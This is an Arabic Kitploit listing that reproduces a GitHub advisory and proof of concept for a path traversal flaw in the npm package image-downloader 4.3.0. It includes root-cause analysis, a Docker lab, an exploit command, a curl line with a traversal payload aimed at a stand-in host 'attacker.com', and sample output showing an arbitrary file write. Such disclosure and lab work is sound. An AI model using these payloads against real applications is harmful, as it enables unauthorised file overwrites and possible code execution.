Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-103648 — استشارة وإثبات مفهوم لـ CVE-2026-103648، وهو اجتياز مسار (CWE-22) في image-downloader 4.3.0 يتيح الكتابة التعسفية للملفات، مع تحليل السبب الجذري، وفرق التصحيح، ومختبر Docker. | Kitploit
أدوات/GitHubGitHub/eternullsec/cve-2026-103648
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليمالفريق الأحمرمختبرات وتدريب عملي
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

استشارة وإثبات مفهوم لـ CVE-2026-103648، وهو اجتياز مسار (CWE-22) في image-downloader 4.3.0 يتيح الكتابة التعسفية للملفات، مع تحليل السبب الجذري، وفرق التصحيح، ومختبر Docker.

231منذ 18 أياملم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-103648 — اجتياز المسار في image-downloader

CVE CVSS CWE Package Status License

اكتُشفت بواسطة: Amirhossein Roustaei (@EterNullSec) — Eternull Security

📖 التحليل التقني الكامل: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal

⚠️ لأغراض تعليمية فقط. يوثّق هذا المستودع ثغرة أُفصح عنها بمسؤولية. جميع أكواد إثبات المفهوم (PoC) مخصّصة للبحث الأمني المصرّح به والاختبار في بيئات معملية معزولة فقط. لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها.


📋 ملخص التنبيه الأمني

الحقلالتفاصيل
معرّف CVECVE-2026-103648
مدخل NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
درجة CVSS v3.19.1 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: التقييد غير الصحيح لاسم المسار إلى دليل محظور
الحزمةimage-downloader (npm) بواسطة demsking
التنزيلات الأسبوعية من npm~11,000 (~38,000 شهريًا) — المصدر
الإصدارات المتأثرة< 4.3.1 (جميع الإصدارات بما فيها 4.3.0)
الإصدار المُصلَح4.3.1
الجهة المُسنِدةGitLab
تاريخ النشر2026-10-02
المُبلِّغAmirhossein Roustaei (@EterNullSec)، Eternull Security

🔬 تحليل السبب الجذري التقني

توجد الثغرة في منطق استخراج اسم الملف في [email protected]. هذا هو الكود المصدري الفعلي للإصدار المتأثر (index.js، مأخوذ مباشرةً من حزمة npm المنشورة):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

الخطأ الدقيق

  1. يتم استدعاء path.basename(pathname) على مسار URL الذي لا يزال مشفّرًا بنسبة مئوية. تسلسل مثل %2e%2e%2fpwned.sh لا يحتوي على / حرفي، لذا يعامل path.basename() السلسلة بأكملها كاسم ملف واحد ويعيدها دون تغيير — فلا يُزال أي شيء.
  2. ثم تُمرَّر النتيجة عبر decodeURIComponent(). هذه هي الخطوة التي تعيد %2e%2e%2f إلى ../ حرفي — لكنها الآن قد نجت بالفعل من خطوة basename التي كان يُفترض أن تعقّمها.
  3. يتم استدعاء path.join(options.dest, decodedBasename) بسلسلة تحتوي الآن على مقطع ../ حقيقي. يطبّع path.join() المقطع .. بالطريقة نفسها التي يفعلها cd .. — لذا يُحلّ مسار الكتابة النهائي إلى موقع خارج options.dest.

باختصار: يفكّ الكود ترميز اسم الملف بالطريقة الصحيحة، لكن بترتيب خاطئ بالنسبة إلى path.basename(). فكّ الترميز ثم basename آمن؛ أما basename ثم فكّ الترميز فليس كذلك.

أبسط محفّز

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

تفصيل CVSS

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 نموذج الهجوم

يوضّح هذا المختبر آلية الثغرة من البداية إلى النهاية في سكربت واحد لتسهيل إعادة الإنتاج، لكن يجدر ذكر نموذج الهجوم الواقعي صراحةً:

  • الضحية: أي تطبيق يستدعي download.image({ url, dest }) من image-downloader بقيمة url لم يتحكّم بها بالكامل بنفسه — مثل عنوان URL يُرسله مستخدم (ميزات استيراد الصور الرمزية/الصور)، أو يُسحب من حمولة webhook، أو يُقرأ من خلاصة RSS/محتوى.
  • المهاجم: يتحكّم بخادم HTTP الذي يشير إليه url الخاص بالضحية (أو يستطيع إعادة التوجيه إليه)، ويتحكّم في مكوّن المسار في ذلك العنوان — وهذا كافٍ بحد ذاته، لأن اجتياز المسار يكمن في مسار URL (%2e%2e%2f...) وليس في جسم الاستجابة.
  • الأثر: تكتب عملية الضحية ملفًا يختاره المهاجم إلى مسار يختاره المهاجم، خارج الدليل الذي قصده المطوّر — وفي الحاويات أو السكربتات التي تعمل بصلاحيات وصول واسعة إلى نظام الملفات، يتصاعد هذا عادةً إلى تنفيذ شيفرة (مثل الكتابة فوق ملف cron، أو ملف authorized_keys، أو ملف تنفيذي يشغّله التطبيق لاحقًا).

في exploit/exploit.py، دُمج دورا المهاجم والضحية في سكربت واحد لتسهيل المختبر (فهو ينشئ كلاً من طلب الخادم "الضحية" وخادم الحمولة الذي يتحكّم به المهاجم). في سيناريو استغلال حقيقي، هذان طرفان منفصلان وغير مترابطين — وقد صُمّم PoC بهذه الطريقة فقط ليكون من الممكن إعادة إنتاج الثغرة بأمر واحد.


🧪 إعداد بيئة المختبر

المتطلبات الأساسية

  • Docker و Docker Compose أو Node.js v18+
  • Python 3.x (لسكربت الاستغلال)

الخيار أ — Docker (موصى به)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

سيكون الخادم القابل للاستغلال متاحًا على http://localhost:3000.

الخيار ب — Node.js يدويًا

cd vulnerable-app/
npm install
node server.js

💥 خطوات إعادة الإنتاج (PoC)

الخطوة 1 — تشغيل الخادم المعرّض للثغرة

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

الخطوة 2 — تشغيل الاستغلال

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

أو يدويًا باستخدام curl (يكون التجاوز في مسار URL، وليس في جسم الاستجابة):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

الخطوة 3 — التحقق من الاجتياز

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 إثبات التنفيذ

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

🔧 تحليل الترقيع

تم إصلاحها في 4.3.1 (commit fb44543). هذا هو المصدر المُرقَّع الفعلي:

تنزيل الأداة